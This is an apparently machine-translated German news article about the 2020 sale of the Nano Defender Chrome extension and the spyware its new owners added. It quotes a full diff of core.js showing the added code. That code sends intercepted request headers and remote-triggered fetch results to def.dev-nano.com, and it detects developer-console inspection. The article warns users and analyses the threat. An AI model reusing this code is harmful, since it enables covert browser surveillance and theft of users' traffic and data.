Am 3. Oktober 2020 der Programmierer jspenguin2017 , der Autor der Nano Defender Erweiterung, kündigte im offiziellen Repository , dass er das Projekt zu einer „Gruppe von türkischen Entwicklern“ verkauft hatte. Diese Nachricht verursachte viele Gerüchte und Ängste: Welche Art von türkischen Entwicklern, die den Code kontrollieren, warum wurde die Seite mit der Datenschutzrichtlinie aus dem Repository entfernt?
Einige Tage später waren die Befürchtungen der Gemeinde völlig berechtigt.
Nano Defender ist eine recht beliebte Methode, um Werbeblocker zu umgehen. Funktioniert in Verbindung mit den Blockern uBlock Origin und Nano AdBlocker (Gabel von uBlock Origin) und schützt sie vor der Erkennung auf Websites.
Die Türken veröffentlichten umgehend eine neue Version von Nano Defender 15.0.0.206 mit sorgfältig getarnten Funktionsänderungen, die nicht auf GitHub veröffentlicht wurden. Eine genaue Prüfung dieser Änderungen zeigt, dass die Erweiterung für alle Benutzer deinstalliert werden muss.
Die Empfehlung gilt für Chrome- und Chromium-basierte Browser, bei denen Erweiterungen automatisch aktualisiert werden, ohne den Benutzer zu benachrichtigen. Die Türken haben die Firefox-Version nicht gekauft. Der Betreuer der Firefox Nano-Erweiterungen, Entwickler LiCybora , hat bestätigt, dass er die Kontrolle über sie behält:Diese Erweiterungen sind sicher . Darüber hinaus überprüft Firefox die digitalen Signaturen von Erweiterungen , sodass bösartiger Code nicht leicht in eine neue Version einer Erweiterung eindringen kann.
Der UBlock Origin-Autor Raymond Hill analysierte die Änderungen in Nano Defender 15.0.0.206. Er bemerkte, dass Code hinzugefügt wurde, um den Start der Entwicklungskonsole der Erweiterung zu erkennen. In diesem Fall wird eine Benachrichtigung
reportan den Server gesendet https://def.dev-nano.com/. Mit anderen Worten, die Eigentümer verfolgen diejenigen, die herausfinden möchten, wie die Erweiterung funktioniert. In diesem Fall ändert die Erweiterung mit hoher Wahrscheinlichkeit ihre Funktionalität.Das Ausblenden einiger Funktionen ist ein Standard-Malware-Trick, der das Vorhandensein einer explorativen Umgebung wie einer virtuellen Umgebung erkennt.
In einer solchen Situation musste Raymond Hill die Funktionalität der neuen Version von Nano Defender ohne Entwicklungskonsole erlernen. Folgendes hat er gefunden.
Beim Start wartet die Erweiterung
https://def.dev-nano.com/auf Nachrichten, um die Liste zu füllen listOfObject.
Soweit Sie den Code verstehen können, werden im Folgenden
listOfObjectanhand des Inhalts der Liste die Felder des Objekts überprüft details, das an webRequest.onBeforeSendHeaders () übergeben wird . Wenn alle Felder die Bedingung erfüllen, wird der gesamte Inhalt des Objekts unter dem Namen an detailsgesendet .
In diesem Fall handelt der Handler fürhttps://def.dev-nano.com/handleObject
webRequest.onBeforeSendHeaders()Alle Netzwerkanforderungen:
chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);
Da es
listOfObjectvon einem externen Server angefordert wird, wird die Funktionalität dieser Methode extern installiert. Die Liste kann beliebige Bedingungen in beliebiger Menge enthalten. Grob gesagt können Nebenstellenbesitzer nach eigenem Ermessen Fragmente des ausgehenden Netzwerkverkehrs vom Browser anfordern. Somit ist die Nano Defender-Erweiterung effektiv zu einem vielseitigen Spionageschnüffler geworden.
Raymond Hill hat einen Diff gepostet, der nicht im Repository der neuen Eigentümer verfügbar ist :
diff für core.js
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //Türkische Entwickler haben eine neue Datenschutzrichtlinie für die Erweiterung veröffentlicht. Dementsprechend sammelt die Erweiterung viele Informationen und überträgt sie an den Remote-Server, einschließlich der Adressen der besuchten Seiten, der Sitzungszeit auf jeder Seite, der IP-Adresse des Benutzers und anderer Daten. Bisher gab es keine solche Klausel in der Datenschutzvereinbarung.
Im Allgemeinen ist der Verkauf von Erweiterungen eine häufige Einnahmequelle für unabhängige Entwickler. Nach der Installation der Erweiterung wissen viele Benutzer nicht, dass die Erweiterung von den neuen Eigentümern gekauft wurde und ihr Computer bereits in einem externen Projekt verwendet wird.
Zum Beispiel Besitzer des SmartProxy- Proxy-Dienstesbieten ihren Kunden Zugang zu einem Netzwerk von IP-Adressen zu Hause mit etwa 40 Millionen IP-Adressen - die meisten Knoten befinden sich auf Computern ahnungsloser Benutzer. Diese Heimcomputer werden zum Proxy-Verkehr von zahlenden Kunden verwendet.
Ein anderes Luminati-Netzwerk verwendet Computer für Heimanwender, die die kostenlose HolaVPN-App als Exit-Punkte installiert haben. Dieses Netzwerk kauft auch beliebte Browser-Erweiterungen .
Aus rechtlicher Sicht ist die Verwendung von "blinden" Heimcomputern von Benutzern zum Pumpen von kommerziellem Verkehr ein sehr zweifelhaftes Ereignis. Aber Geschäftsleute schaffen es immer noch, Bestrafung zu vermeiden.
Was den Programmierer jspenguin2017 betrifft , die Communityverurteilte seine unverantwortlichen Maßnahmen zum Verkauf der Erweiterung, da Dutzende anderer Entwickler an der Unterstützung und Auflistung von Nano Defender beteiligt waren. Es stellt sich heraus, dass jspenguin2017 die Arbeitsstunden der Arbeit eines anderen im Alleingang monetarisiert hat.
Die Nano Defender-Erweiterung wurde bereits aus dem Chrome Web Store entfernt.